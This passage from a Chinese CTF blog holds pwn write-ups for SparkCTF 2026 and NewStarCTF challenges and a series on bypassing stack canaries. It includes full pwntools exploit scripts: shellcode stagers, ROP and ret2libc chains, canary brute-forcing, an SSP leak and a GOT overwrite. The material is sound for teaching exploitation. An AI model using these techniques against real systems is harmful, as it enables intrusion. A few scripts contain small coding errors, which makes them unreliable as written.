rdi/rsi/rdx/rcx/r8/r9（参数寄存器）
rip

源码里能看到明确的恢复序列，例如先取 oRSP 到 %rsp，再恢复若干寄存器，最后把 oRIP 压栈并 ret（或某些路径直接 jmp *%r10）

因此，只要我们能控制一次对 setcontext() 的调用，就相当于获得了 批量写寄存器 + 栈迁移 + 控制 RIP 的能力

我们还需要推导 ucontext 偏移

在 x86_64 glibc 下，有：

ucontext_t.uc_mcontext 偏移是 0x28
gregs[REG_RSP] 的 index 是 15
gregs[REG_RIP] 的 index 是 16

题目里 ucontext 起始地址是 buf+0x40，因此输入数据中的关键偏移为：

RSP 写入偏移 0x40 + 0x28 + 15*8 = 0xe0
RIP 写入偏移 0x40 + 0x28 + 16*8 = 0xe8

所以 payload 里只要改这两处即可：

RIP = win (0x401370)
RSP = 可写地址

这道题有win，可以直接读flag，因此不需要复杂的利用链

exp：

1
from pwn import *
2

3
context.log_level = "debug"
4
context.arch = "amd64"
5

6
# p = process("./ctx")
7
p = remote("minori.node.bxs.team", 52121)
8
elf = ELF("./ctx")
9
libc = ELF("./lib/libc.so.6")
10

11
win = elf.symbols["win"]
12

13
uc_off = 0x40
14
mcontext_off = 0x28
15
gregs_off = uc_off + mcontext_off
16

17
reg_rsp = 15
18
reg_rip = 16
19
fake_rsp = 0x404808
20

21
payload = bytearray(0xF0)
22
payload[gregs_off + reg_rsp * 8 : gregs_off + reg_rsp * 8 + 8] = p64(fake_rsp)
23
payload[gregs_off + reg_rip * 8 : gregs_off + reg_rip * 8 + 8] = p64(win)
24

25
try:
26
    p.recvuntil(b"Give me your name:", timeout=2)
27
except EOFError:
28
    log.warning("no banner, send payload directly")
29
p.send(bytes(payload))
30

31
try:
32
    p.recvuntil(b"Here is your flag: ", timeout=5)
33
    flag = p.recvline().strip()
34
    log.success(f"flag: {flag.decode(errors='ignore')}")
35
except EOFError:
36
    log.failure("connection closed before flag")
37

38
p.interactive()

展开收起

5、nine#

安全机制

请输入图片描述

沙箱

请输入图片描述

除了orw和exit，其他系统调用都被禁止了

看一下main函数

请输入图片描述

函数先 mmap 了一页 RWX 内存，用 read(0, mmap_addr, 9) 读取 9 字节 shellcode，然后布置沙箱，最后返回shellcode

注意到main的汇编里有这么一段

请输入图片描述

在跳转到shellcode之前，几乎所有通用寄存器被清零

因此初始状态可利用：

rax=0
rdi=0
rdx=0

只需设置：

rsi = shellcode地址
rdx = 0xff

即可执行 read(0, rsi, 0xff) 继续拉取二阶段

程序先 push mmap_addr，再 ret 到 mmap_addr。ret 会弹栈，但 [rsp-8] 位置仍保留刚才的 mmap_addr 值，所以可直接取出 shellcode 基址

stager 在 mmap_addr 执行 syscall(read) 后，RIP 会继续到 mmap_addr+9。

但我们第二次发送的数据默认从 mmap_addr 开始覆盖写入，所以如果不处理，会从二阶段第 0 字节开始写，而 CPU 会从 +9 处执行，导致错位。

解决：二阶段发送时前置 9 字节 NOP，让 mmap_addr+9 正好落在真正 ORW 代码开头

1
mov rsi, [rsp-8]
2
mov dl, 0xff
3
syscall

刚好9字节

exp如下：

1
from pwn import *
2

3
context.log_level = "debug"
4
context.arch = "amd64"
5
context.os = "linux"
6

7
# p = process("./pwn")
8
p = remote("minori.node.bxs.team", 50557)
9
elf = ELF("./pwn")
10

11
payload1 = asm(
12
    """
13
    mov rsi, [rsp-8]
14
    mov dl, 0xff
15
    syscall
16
    """
17
)
18
assert len(payload1) == 9
19

20
orw = asm(
21
    """
22
    lea rdi, [rip+path1]
23
    xor esi, esi
24
    xor edx, edx
25
    mov eax, 2
26
    syscall
27
    test eax, eax
28
    jns got_fd
29

30
    lea rdi, [rip+path2]
31
    xor esi, esi
32
    xor edx, edx
33
    mov eax, 2
34
    syscall
35

36
got_fd:
37
    mov edi, eax
38
    mov rsi, rsp
39
    mov edx, 0x100
40
    xor eax, eax
41
    syscall
42

43
    mov edx, eax
44
    mov edi, 1
45
    mov eax, 1
46
    syscall
47

48
    xor edi, edi
49
    mov eax, 60
50
    syscall
51

52
path1:
53
    .asciz "flag"
54
path2:
55
    .asciz "/flag"
56
    """
57
)
58
payload2 = b"\x90" * 9 + orw
59

60
p.recvuntil(b"Give me your shellcode (max 9 bytes): ")
61
p.send(payload1)
62
p.send(payload2)
63
p.interactive()

展开收起

另一种思路

群里有师傅说其实可以只用八字节，即

1
mov esi, [rsp-8]
2
mov dl, 0xff
3
syscall

这个没测试过，理论上讲应该可行，但9字节会更稳定一点

6、什么？Mips？#

Note

这来自2025年浙江省大学生网络与信息安全竞赛决赛，qemu等环境配置可参考下面这位师傅的文章➡️异架构pwn学习入门

简单写一下环境配置

安装qemu

1
sudo apt install qemu-user

安装gdb-multiarch

1
sudo apt install gdb-multiarch

安装交叉编译工具链

Warning

kali的镜像源里面没有这个东西，不安装不影响做题，Ubuntu可以正常安装

1
sudo apt install gcc-mips-linux-gnu

如果要调试

在终端运行：

Terminal window

1
qemu-mips -g 1234 ./mips

在另一个终端运行：

Terminal window

1
gdb-multiarch ./mips
2
pwndbg> target remote :1234

安全机制

请输入图片描述

主要函数是vuln

请输入图片描述

读取输入后，会把 v1的地址打印出来

请输入图片描述

我们需要找到 $ra寄存器的地址和偏移

请输入图片描述

可以发现偏移是44

我们可以把shellcode布置在偏移48的位置，本质上是一道常规的ret2shellcode

exp：

1
from pwn import *
2

3
context.arch = 'mips'
4
context.endian = 'big'
5
context.os = 'linux'
6
context.log_level = 'debug'
7
# p = process(['qemu-mips', '-g', '1234', './mips'])
8
# p = process(['qemu-mips', './mips'])
9
p = remote("yaemiko.node.bxs.team", 51988)
10

11
p.recvuntil(b"input number of magic")
12
p.sendline(b"255")
13

14
p.recvuntil(b"gift: ")
15
v1_addr = int(p.recvline().strip(), 16)
16
log.success(f"v1 Address: {hex(v1_addr)}")
17

18
shellcode_addr = v1_addr + 48
19
log.info(f"Target Jump Address: {hex(shellcode_addr)}")
20

21
shellcode = asm(shellcraft.mips.linux.sh())
22
padding_len = 44
23
padding = b'A' * padding_len
24
payload = flat([
25
    padding,
26
    shellcode_addr,
27
    shellcode
28
])
29
sleep(0.1)
30
p.send(payload)
31

32
p.interactive()

展开收起

Canary绕过专题(3)——One-By-One爆破

Mon, 01 Dec 2025 00:00:00 GMT

利用fork()获取Canary#

核心原理#

fork()是一个系统调用，它的作用是“复制”当前进程，创建一个全新的、几乎一模一样的子进程。

关键特性：
- 子进程是父进程的副本，它们有各自独立的内存空间。
- 对于Canary来说，最关键的一点是： 在 fork()出来的父子进程中，Canary的值是相同的

因为Canary在每次 fork()后是固定的，而我们可以通过让程序崩溃来获取信息，这就为我们爆破提供了可能。

Canary通常是一个4字节（32位程序）或8字节（64位程序）的值，最低位通常是**\x00**

所以，我们需要爆破的是剩下的3个或7个字节。

核心思想： 我们无法一次性猜出整个Canary，但我们可以一个字节一个字节地猜。因为父子进程Canary相同，我们可以通过子进程是否崩溃来推断我们猜的字节是否正确

我们可以用这样的一个循环来爆破，从**\x00到\xFF**最大需要尝试256次

1
for i in range(需要爆破的字节数):
2
  for byte in range(256):

然后接收反馈的信息，通常错误的Canary会反馈 *** stack smashing detected ***:./pwn（程序名） terminated

1
if b'*** stack smashing detected ***' in response:
2
  continue
3
if b'正常反馈' in response:
4
  canary += bytes([byte])
5
  break

打远程的时候最好添加一个 sleep，执行起来更顺畅

看这道例题

image.png

IDA分析一下

image.png

可以看到fork的进程会调用 kid函数，这个函数没有可用的漏洞点

再看kid函数

image.png

很明显的栈溢出漏洞

那么思路就是用one-by-one爆破出Canary，再用栈溢出覆盖返回地址为 backdoor的地址

这里引用一位师傅的提醒

Note

在利用 fork() 爆破canary的时候，需要特别注意 send，sendline的区别，理解不同的发送方式可能会造成的逻辑混乱，请阅读这篇文章。

以及，如果用 chr(num).encode()的形式将数字转换成字节的话，会存在当 num>0x7f后，encode后会变成两个字节的问题，因此，不要用这种方式转换，可以用 bytes([i])的形式。

最后得出exp：

1
from pwn import *
2
context.arch = 'i386'
3
context.log_level = 'debug'
4
#p = process('./canary3')
5
p = remote('ip',port)
6

7
door = 0x8049321
8

9
p.recvuntil(b'please:\n')
10
p.send(b'joker233')
11

12
canary_bytes = b'\x00'
13

14
for i in range(3):
15
  for byte in range(256):
16
    p.recvuntil(b'\n')
17
    payload = b'A'*30 + canary_bytes + bytes([byte])
18
    p.send(payload)
19
    response = p.recvuntil(b'\n')
20
    if b'*** stack smashing detected ***' in response:
21
      continue
22
    if b'DO MORE ?' in response:
23
      canary_bytes += bytes([byte])
24
      break
25
canary = u32(canary_bytes)
26
success(f'Canary is :{hex(canary)}')
27

28
pay2 = b'A'*30 + p32(canary) + b'B'*8 + b'C'*4 + p32(door)
29
p.send(pay2)
30

31
p.interactive()

展开收起

Canary绕过专题(4)——SSP泄露

Mon, 01 Dec 2025 00:00:00 GMT

利用SSP泄露获取flag#

机制讲解#

SSP 是编译器为了防止栈溢出攻击加入的一种保护机制

当程序运行时检测到Canary被破坏，会触发 __stack_chk_fail 函数，准备终止程序并报错。

关键特性：

报错机制： 在 glibc 2.25 及以下版本中，报错函数会打印当前程序的名称

我们来看glibc各版本的不同：

glibc2.23-2.25

1
extern char **__libc_argv attribute_hidden;
2
void__attribute__ ((noreturn)) internal_function
3
__fortify_fail (const char *msg)
4
{
5
/* The loop is added only to keep gcc happy.  */
6
while (1)
7
    __libc_message (2, "*** %s ***: %s terminated\n",
8
                 msg, __libc_argv[0] ?: "<unknown>");
9
                 }
10
libc_hidden_def (__fortify_fail)

可以看到报错信息如下

*** stack smashing detected ***:__libc_argv[0] terminated

一般而言，__libc_argv[0]指向的是程序名

实际打印信息应该是

*** stack smashing detected ***:./pwn（程序名） terminated

在glibc2.26-2.30中

1
extern char **__libc_argv attribute_hidden;
2
void__attribute__ ((noreturn)) internal_function
3
__fortify_fail_abort (_Bool need_backtrace, const char *msg)
4
{  /* The loop is added only to keep gcc happy.
5
 Don't pass down __libc_argv[0] if we aren't doing backtrace
6
 since __libc_argv[0] may point to the corrupted stack.  */
7
 while (1)
8
     __libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
9
                         "*** %s ***: %s terminated\n",
10
                               msg,
11
                     (need_backtrace && __libc_argv[0] != NULL
12
                       ? __libc_argv[0] : "<unknown>"));
13
}

增加了 __libc_argv[0] != NULL 的检查，并且受 need_backtrace 变量控制

虽然稍微麻烦了一点，但依然存在泄露可能

但进入**glibc2.31+**的版本后，源码变为了

1
__libc_message (do_abort, "*** %s ***: terminated\n", msg);

可以看到，第二个 %s 被删除了，不再打印程序名

无论怎么覆盖 argv[0]，报错信息里都不会再输出那个内容了

核心原理#

正常流程#

当检测到 Canary 错误时，调用链如下：

__stack_chk_fail
__fortify_fail
__libc_message

在 glibc 2.23 - 2.25 (最典型的版本) 中，__libc_message 的关键代码是这一行：

1
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>");

第一个 %s (msg): 输出 “stack smashing detected”。
第二个 %s (__libc_**argv[0])：**它原本意图是输出当前运行的程序名
__libc_argv : 这是一个全局变量，指向栈上的 argv 数组（存储命令行参数的指针数组）而 argv[0] 通常指向程序名称字符串

攻击流程#

如果我们利用栈溢出做两件事：

破坏 Canary： 故意覆盖它，为触发报错函数 __stack_chk_fail
覆盖 argv[0] 指针： 既然我们已经造成了溢出，如果溢出的长度足够长，我们就可以一直淹没到栈的高地址，覆盖掉存储在栈上的 argv[0] 指针

攻击结果： 我们将 argv[0] 的值覆盖为 Flag 在内存中的地址

当程序执行到 __libc_message 时，它去读取 argv[0] 指向的内容，会读到了 Flag，并把它打印出来：

Terminal window

1
*** stack smashing detected ***: flag{This_is_the_flag} terminated

利用条件：

Flag 已在内存中： 题目通常会先读取 flag 到某个全局变量或堆/栈地址中
超长溢出： 可以溢出的长度必须非常大，足以跨过 Canary、返回地址，一直到达存放 argv 指针的区域
Flag 的地址： 需要知道 flag 存储在哪

在这种特定场景下：

我们无法getshell，因此出现的题目一般已经将flag读进内存，想办法覆盖 __libc_argv[0]为flag地址即可

或者此漏洞出现在fork出的子进程中，可以实现任意地址泄露

例题分析#

准备工作#

由于题目提供了2.23版本的libc，我们需要先用 patchelf 把 libc 和 ld 链接上去

Terminal window

1
$patchelf --set-interpreter ./ld-2.23.so ./canary4
2
$patchelf --replace-needed libc.so.6 ./libc-2.23.so ./canary4

注意，这里用 ldd 检查后发现libc没有修改成功

image.png

虽然指定了本地 ./libc-2.23.so，但系统在查找时使用了绝对路径

可以用这个指令查看依赖

Terminal window

1
$readelf -d canary4 | grep NEEDED

image.png

再用 patchelf 替换一下路径

Terminal window

1
$patchelf --replace-needed /home/s1eepy/pwn/chuti/canary/glibc2.23/libc-2.23.so ./libc-2.23.so ./canary4

另外，我们还需要创建一个flag文件，让程序读进内存，这样才能本地运行测试

直接起一个docker容器也是可以的

先检查安全机制

image.png

有PIE？（警觉）

打开IDA看看

1
__int64 play()
2
{
3
  int n4; // [rsp+4h] [rbp-5Ch] BYREF
4
  int i; // [rsp+8h] [rbp-58h]
5
  int fd; // [rsp+Ch] [rbp-54h]
6
  void *ptr; // [rsp+10h] [rbp-50h]
7
  void *buf; // [rsp+18h] [rbp-48h]
8
  void (*v7)(void); // [rsp+28h] [rbp-38h]
9
  _BYTE buf_1[40]; // [rsp+30h] [rbp-30h] BYREF
10
  unsigned __int64 v9; // [rsp+58h] [rbp-8h]
11

12
  v9 = __readfsqword(0x28u);
13
  fd = open("./flag", 0);
14
  if ( fd >= 0 )
15
  {
16
    buf = malloc(0x30uLL);
17
    ptr = malloc(0x30uLL);
18
    *(_QWORD *)ptr = go_awy;
19
    read(fd, (char *)ptr + 8, 0x100uLL);
20
    for ( i = 0; i <= 1; ++i )
21
    {
22
      menu();
23
      __isoc99_scanf("%d", &n4);
24
      getchar();
25
      if ( n4 == 2 )
26
      {
27
        v7 = *(void (**)(void))ptr;
28
        if ( v7 )
29
          v7();
30
        free(ptr);
31
        ptr = 0LL;
32
        puts("FREE SUCCESS");
33
      }
34
      else if ( n4 > 2 )
35
      {
36
        if ( n4 == 3 )
37
        {
38
          puts("INPUT DATA:");
39
          read(0, buf, 0x41uLL);
40
          puts("EDIT SUCCESS");
41
        }
42
        else if ( n4 == 4 )
43
        {
44
          puts("BYE");
45
          exit(0);
46
        }
47
      }
48
      else if ( n4 == 1 )
49
      {
50
        if ( !malloc(0x20uLL) )
51
        {
52
          puts("MALLOC FAILED");
53
          exit(0);
54
        }
55
        puts("MALLOC SUCCESS");
56
      }
57
    }
58
    puts("Something to say :");
59
    read(0, buf_1, 0x200uLL);
60
    return 0LL;
61
  }
62
  else
63
  {
64
    puts("FLAG OPEN MET A FAULT");
65
    return 0xFFFFFFFFLL;
66
  }
67
}

展开收起

我们来看看栈帧结构

偏移量	变量名	说明
…	argv[0]	栈的深处，我们的攻击目标
…	Return Addr	返回地址
…	Old RBP	上一个栈底指针
RBP-0x08	v9 (Canary)	覆盖以触发报错
RBP-0x30	buf_1	缓冲区，40字节
RBP-0x38	v7	…
RBP-0x48	buf	堆的指针变量
RBP-0x50	ptr	堆的指针变量
…	…	…

程序先将flag读入内存，再先后分配了一个大小均为0x30(实际是0x40，算上Header)的 buf和 ptr堆块

随后，ptr的开头被放入了 go_awy函数的地址， ptr+8 被放入了flag的地址

初步的思路便有了：如果我们能把 argv[0] 改成 ptr指向的地址 + 8，SSP 报错就会打印 Flag

接下来程序进入了一个两次的循环并打印菜单

image.png

三个操作：【1】新申请一个堆、【2】释放一个指针、【3】向buf指向的堆中添加数据

观察选项2

1
v7 = *(void (**)(void))ptr;
2
        if ( v7 )
3
          v7();

它从 ptr 指向的堆里取出函数地址，再执行这个函数

再观察选项3，发现有一个溢出点

1
read(0, buf, 0x41uLL);

我们可以将堆内存布局画出来：

1
低地址
2
+------------------------+
3
| Chunk A (buf) Header   | 0x10 字节
4
+------------------------+
5
| Chunk A Data (buf指向) | 0x30 字节 (48 字节)
6
+------------------------+
7
| Chunk B (ptr) Header   | 0x10 字节 (16 字节)
8
+------------------------+
9
| Chunk B Data (ptr指向) | 8 字节：存放着 go_awy 函数地址
10
| ...                    |
11
+------------------------+
12
高地址

buf堆块+Header只有0x40大小，但 read允许我们写入0x41的数据，这意味着我们可以将 ptr函数指针的最低位字节覆盖掉

跳出循环后，有一个非常有用的溢出点：

1
read(0, buf_1, 0x200uLL)

这个溢出点足够大，可以为我们所用

分析完主函数后，我们发现了一个没有在任何地方被调用过的函数：lucky_cup()

1
__int64 lucky_cup()
2
{
3
  printf("GIFT :%11$p");
4
  return 0LL;
5
}

这个函数利用格式化字符串漏洞泄露了一个地址，但我们并不知道这个函数泄露的具体是哪个地址

在PIE保护开启的情况下，我们只能看到函数的偏移

1
go_awy = 0xC1C
2
lucky_cup = 0xC33

如果我们将**\x1C覆盖为\x33**

ptr 中的 go_awy 将会变成 lucky_cup

于是我们可以先写一个测试程序，看看它到底泄露了哪个地址

1
from pwn import *
2
context.arch = 'amd64'
3
context.log_level = 'info'
4
p = process('./canary4')
5
elf = ELF('./canary4')
6
gdb.attach(p)
7

8
p.recvuntil(b'\n')
9
p.sendline(b'3')
10
p.recvuntil(b'DATA:')
11
#overflow = b'A'*64 + b'\x33'
12
overflow = b'A'*48 + b'deadbeef' + p64(0x41) + b'\x33'
13
p.send(overflow)
14

15
p.recvuntil(b'\n')
16
p.sendline(b'2')
17

18
p.interactive()

展开收起

Warning

补充：#

在第一次写脚本的时候，我错误的使用了

1
overflow = b'A'*64 + b'\x33'

这会导致第二个堆块的Header部分被破坏

补充一下堆的结构

在 64 位系统中，一个 Chunk 的 Header（头部） 固定占用 16 字节（0x10）

大概长这样

1
+------------------------+------------------------+
2
|  prev_size (8 bytes)   |    size (8 bytes)      |
3
+------------------------+------------------------+
4
^                        ^
5
低地址                    高地址

在 pwndbg 里查看内存时，它是竖着排列的：

1
0x...000:  0x0000000000000000   <-- prev_size
2
0x...008:  0x0000000000000041   <-- size (包含标志位)
3
0x...010:  ......

字段一：`prev_size` (前一个块的大小)#

位置： 偏移 0x00 - 0x07

作用： 记录物理相邻的前面那个堆块的大小

核心机制（空间复用）：

如果前一个块是空闲的 (Free)： 这个字段才真的存放“前一个块的大小”。目的是为了让当前块 Free 时，能向前合并
如果前一个块正在使用 (Allocated)： 堆管理器觉得“既然前一个块在用，那你这个字段空着也是浪费”于是，这个字段的空间实际上归前一个块使用，前一个块的用户数据可以一直写到这里

字段二：`size` (当前块大小 + 标志位）#

位置： 偏移 0x08 - 0x0F

作用： 记录当前这个块的大小

特点： 因为 64 位系统下堆块必须 16 字节对齐，所以大小的二进制最低 3 位永远是 0

例如：0x40 ->二进制 ... 0100 000

既然最后 3 位没用，glibc 就把它们拿来当标志位（Flags）

结构如下： Size = 真实大小(高位) + | A | M | P | (最低3位)

Bit 0: P (PREV_INUSE)
- 1: 前一个块正在使用
- 0: 前一个块是空闲的
Bit 1: M (IS_MMAPPED)
- 1: 这个块是通过 mmap 分配的大块
- 0: 普通堆块
Bit 2: A (NON_MAIN_ARENA)
- 1: 这个块不属于主线程
- 0: 属于主线程

在写脚本的时候，填充完 buf数据段后，需要伪造下一个堆块的Header，否则会触发***Error in `./canary4’: double free or corruption (out): 堆地址 ***

理论上有fork()的时候也可以用这种方法泄露堆地址

得到泄露地址

image.png

附加gdb进程，使用 heap指令查看堆的状态

image.png

看起来这个地址应该就是 buf堆块的数据段起始地址

这样的话，flag的地址便可以计算出来

0x5646e7ed1010 + 0x48 = 0x5646e7ed1058

最后一步是填充 argv数组

这里有两种办法

第一种是填充buf_1、Canary、RBP和返回地址后，用大量的flag地址去轰炸，总有一个能覆盖到

这种方法本地测试没问题，但是远程打不通

第二种方法是精确计算 argv的位置

1
b *$rebase(0xe6f)

我们在最后这个 read 处下断点，使用 argv指令

image.png

0x7fffffffddc8 便是存放 argv[0]指针的地址

此时正准备执行 read(0, buf_1, 0x200)，根据 x64 调用约定：

rdi = 0 (stdin)
rsi = buf_1 的地址
rdx = 0x200

查看 rsi寄存器

1
i r rsi

image.png

0x7fffffffddc8 - 0x7fffffffdca0 = 0x128 = 296

所以，我们只需要填充296个字符便可抵达 argv

最终exp：

1
from pwn import *
2
context.arch = 'amd64'
3
context.log_level = 'info'
4
#p = remote('ip',port)
5
p = process('./canary4')
6
elf = ELF('./canary4')
7
#gdb.attach(p)
8

9
p.recvuntil(b'\n')
10
p.sendline(b'3')
11
p.recvuntil(b'DATA:')
12

13
overflow = b'A'*48 + b'deadbeef' + p64(0x41) + b'\x33'
14
p.send(overflow)
15

16
p.recvuntil(b'\n')
17
p.sendline(b'2')
18

19
p.recvuntil(b'GIFT :')
20
leak = p.recvuntil(b'FREE SUCCESS', drop = True)
21
addr = int(leak,16)
22
flag = addr + 0x48
23
success(f'flag addr: {hex(flag)}')
24

25
p.recvuntil(b'Something to say :')
26

27
payload = b'A'*296 + p64(flag)
28
p.send(payload)
29

30
p.interactive()

展开收起

Canary绕过专题(5)——劫持__stack_chk_fail

Mon, 01 Dec 2025 00:00:00 GMT

劫持__stack_chk_fail函数#

原理#

遇到canary错误时，会执行以下函数：

1
#include <stdio.h>
2

3
void
4
__attribute__ ((noreturn))
5
__stack_chk_fail (void)
6
{
7
  __fortify_fail ("stack smashing detected");
8
}

劫持__stack_chk_faik函数的got表为目标函数即可

例题分析#

检查安全机制

image.png

没有 Full RELRO ，修改GOT表的思路可行

再看IDA

image.png

能溢出128字节，这个题应该是可以用覆盖截断字符的方法的

但这里我们还是用劫持 _的方法

关键点在于 printf(buf)

我们可以用它找到输入的 buf 是 printf 的第几个参数，这样就找到了写入点

再用pwntools自带的 fmtstr_payload 函数，自动生成修改地址的格式化字符串

我们就能把__stack_chk_faik的got表改为backdoor地址

输入 AAAA测试一下

image.png

用 fmtarg指令计算偏移

image.png

这样就得到了offset = 6

这里我们还需要判断一下自动生成的格式化字符串链能否覆盖到Canary，不够的话就需要我们补齐

1
length = len(payload)
2
if length < 72:
3
    payload += b'A' * (72 - length + 8)
4
else:
5
    payload += b'A' * 16

最后exp：

1
from pwn import *
2
context.arch = 'amd64'
3
context.log_level = 'debug'
4
#p = process('./canary5')
5
p = remote('ip',port)
6
elf = ELF('./canary5')
7

8
backdoor = elf.symbols['backdoor']
9
got_chk_fail = elf.got['__stack_chk_fail']
10

11
offset = 6
12

13
payload = fmtstr_payload(offset, {got_chk_fail: backdoor_addr})
14
length = len(payload)
15
if length < 72:
16
    payload += b'A' * (72 - length + 8)
17
else:
18
    payload += b'A' * 16
19

20
p.recvuntil(b"Tell me your story:\n")
21
p.send(payload)
22

23
p.interactive()

展开收起

Canary绕过专题(1)——覆盖截断字符

Sat, 01 Nov 2025 00:00:00 GMT

覆盖截断字符获取Canary#

先看例题

检查一下安全机制

image.png

IDA中找到漏洞函数

image.png

很贴心的给了一个backdoor

image.png

这题的栈帧挺好分析的，画个图出来

image.png

函数中有两次栈溢出可利用，第一个 read可读112字节，正好覆盖不到返回地址

第二个 read可读256字节，可以覆盖返回地址

于是思路很清晰，利用第一个 read泄露Canary值，再用第二个来覆盖返回地址

Canary的低字节被设置为 \x00，在小端序存储下，低位字节存储在最前面

我们用 printf来泄露的话，遇到**\x00**便会被截断，导致无法泄露后续的数据

因此1，如果可以覆盖掉这个**\x00**，就可以绕过printf的截断从而泄露出canary。

1
buf[0]......buf[95] | 00 xx xx xx |......

不过，因为我们修改了canary，因此泄露canary和利用漏洞的过程必须在同一个函数内进行，并且利用的过程需要将**\x00**恢复

image.png

可以看到，\x00被替换成了**\x0a**（使用了sendline），printf成功泄露出了后面三个值55 91 2c

那么Canary值就是

1
Canary = 0x2c915500

最后注意，使用读取偏移的方法截取这三个字节的时候，要把前面I got your words的18个字节算上

（我就是没注意这个导致Canary一直没泄露成功）

最后exp：

1
from pwn import *
2

3
context.arch = 'i386'
4
context.log_level = 'debug'
5
p = remote('ip', port)
6
#p = process('./canary1')
7

8
backdoor_addr = 0x08049223
9

10
p.recvuntil("say:\n")
11
payload1 = cyclic(96)
12
p.sendline(payload1)
13
response = p.recvuntil(b'Okay')
14
canary_bytes = b'\x00'+response[116:119]
15
canary = u32(canary_bytes)
16

17
print(hex(canary))
18

19
payload2 = b'A'*96 + p32(canary) + b'B'*8 + p32(0x42424242) + p32(backdoor_addr)
20
p.recvuntil(b'next?\n')
21

22
p.send(payload2)
23

24
p.interactive()

展开收起

Canary绕过专题(2)——格式化字符串泄露

Sat, 01 Nov 2025 00:00:00 GMT

格式化字符串泄露Canary#

检查一下安全机制

image.png

再看看IDA

image.png

跟上一道题差不多，但第一个 read只能读取5字节

我们主要还是关注后面的 printf

使用 printf的关键是找栈上的偏移

我们在gdb里运行到Canary在栈上被布置后，查看栈内容

image.png

发现Canary在0x7fffffffdc80 + 0x8的位置

用 fmtarg（需先安装pwngdb，并设置与pwndbg联动使用）计算出Canary的偏移是19

image.png

测试一下，没问题

image.png

这里要注意，%19$p已经有五个字节了，如果使用 sendline来发送payload，多出来的换行符会直接用于下一个 read，导致程序提前结束

泄露Canary后就是常见的ret2libc思路

先把libc和ld绑定一下

Terminal window

1
$patchelf --set-interpreter ./ld-linux-x86-64.so.2 ./canary

Terminal window

1
$patchelf --replace-needed libc.so.6 ./libc.so.6 ./canary2 $

用 puts来泄露libc地址，再用pwntools自动查找地址

但第二次输入机会被我们用来泄露libc了，所以payload2要返回main函数，再泄露一次Canary

最终exp如下：

1
from pwn import *
2
context.arch = 'amd64'
3
context.log_level = 'debug'
4
elf = ELF('./canary2')
5
libc_elf = ELF('./libc.so.6')
6
p = remote("ip",port)
7
#gdb.attach(p)
8

9
p.recvuntil(b'say:\n')
10
p.send(b'%19$p')
11
p.recvuntil(b'0x')
12
canary = int(p.recv(16),16)
13
success(f"Canary Leaked: {hex(canary)}")
14

15
ret = 0x40101a
16
pop_rdi = 0x401223
17
put_plt = elf.plt['puts']
18
put_got = elf.got['puts']
19
main = elf.symbols['main']
20

21
payload2 = b'A'*104 + p64(canary) + b'B'*8 + p64(pop_rdi) + p64(put_got) + p64(put_plt) + p64(main)
22

23
p.sendline(payload2)
24
p.recvuntil("Bye~\n")
25
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - libc_elf.sym["puts"]
26
system = libc_base + libc_elf.sym['system']
27
binsh = libc_base + next(libc_elf.search(b'/bin/sh'))
28
success(f"Libc base: {hex(libc_base)}")
29
success(f"System: {hex(system)}")
30
success(f"/bin/sh: {hex(binsh)}")
31

32
p.recvuntil(b'say:\n')
33
p.send(b'%19$p')
34
p.recvuntil(b'0x')
35
canary2 = int(p.recv(16),16)
36

37
payload3 = b'A'*104 + p64(canary2) + b'B'*8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system)
38

39
p.sendline(payload3)
40

41
p.interactive()

展开收起

2025 NewStarCTF week1&2 pwn复盘

Mon, 01 Sep 2025 00:00:00 GMT

1、INTbug#

难度：简单

打开ida分析func函数，可见是整数溢出型漏洞

image.png

v1是__int16类型，2字节有符号整数，范围在-32768到32767

v2是int类型，4字节有符号整数

v3是canary保护值

每次循环会读取输入到v2，如果是正数，就给v1值＋1，如果不是正数就跳出循环

当v1达到32767时，再加1会整数型溢出，变为-32768

此时++v1＜0条件成立，即可调用到system(“cat flag”)

exp脚本：

1
from pwn import *
2
p=remote("ip",port)
3

4
for i in range(32767)
5
    p.sendline(b'1')
6

7
p.sendline(b'1')
8

9
p.interactive()

2、input_function#

难度：困难

打开ida，分析main函数

image.png

发现分配了一块内存，地址为0x114514，大小0x1000，权限7(1+2+4，可读可写可执行)，将地址保存在了指针变量buf中

提示输入一个编译后的函数

读取最多0x500字节到内存

随后直接执行

可以看出是注入shellcode执行

第一种方法，我们手动写一个调用execve(“/bin/sh”)

Terminal window

1
; x86-64 Shellcode
2
section .text
3
    global _start
4

5
_start:
6
    ; execve("/bin/sh", 0, 0)
7
    xor rsi, rsi
8
    mov rdi, 0x114514 + 0x100  ;
9
    mov rax, 59
10
    syscall

但pwntools可以自动生成一个shellcode

exp如下：

1
from pwn import *
2

3
context(arch='amd64',os='linux')
4

5
shellcode=asm(shellcraft.sh())
6

7
p.remote("ip",port)
8

9
p.send(shellcode)
10

11
p.interactive()

3、pwn’s door#

难度：简单

image.png

很简单的签到题

输出一大堆东西，读取输入到n7038329，然后判断n7038329是否等于7038329

直接运行，输入7038329，就可以拿到flag了

Joker233's Blog

一个小小的年中总结

竞赛 - Competition#

上学期#

下学期#

总结#

暑假 - Go Work！👨‍💻#

科研#

竞赛#

训练#

DASCTF 2026 Pwn方向 WP

这比赛题目质量挺不错的，可惜去品尝御网杯这坨大份了，没来得及打，只能赛后复现了#

1、FmtNote#

2、TinyVM#

VM 指令集#

立即数和移动#

0x10: MOVI#

0x11: MOV#

算术和位运算#

比较和跳转#

0x2a: CMP#

跳转指令#

指针和内存操作#

0x30: LEA#

0x31: LOAD#

0x32: STORE#

0x33 / 0x34: 1 字节读写#

输入输出#

0x40: PRINT#

0x41: INPUT#

0x60: CALL#

利用分析#

谈谈迁移到Astro的感受，以及如何0基础快速搭建一个静态博客

前言#

为什么换到Astro？#

一些小问题#

搭建过程#

挑选模板#

环境部署#

安装Node.js和创建Astro项目#

简单部署#

项目结构#

部署上线#

一些小改动#

过渡加载动画#

1. 加载层 DOM#

2. 随机替换和淡出逻辑#

3. 遮罩和淡出样式#

4. 点位布局和入场动画#

后续打算#

SparkCTF 2026 WP——Pwn部分

1、as a pwner#

2、hacker#

3、stack#

4、ctx#

5、nine#

6、什么？Mips？#

Canary绕过专题(3)——One-By-One爆破

利用fork()获取Canary#

核心原理#

Canary绕过专题(4)——SSP泄露

利用SSP泄露获取flag#

机制讲解#

核心原理#

正常流程#

攻击流程#

例题分析#

准备工作#

补充：#

字段一：prev_size (前一个块的大小)#

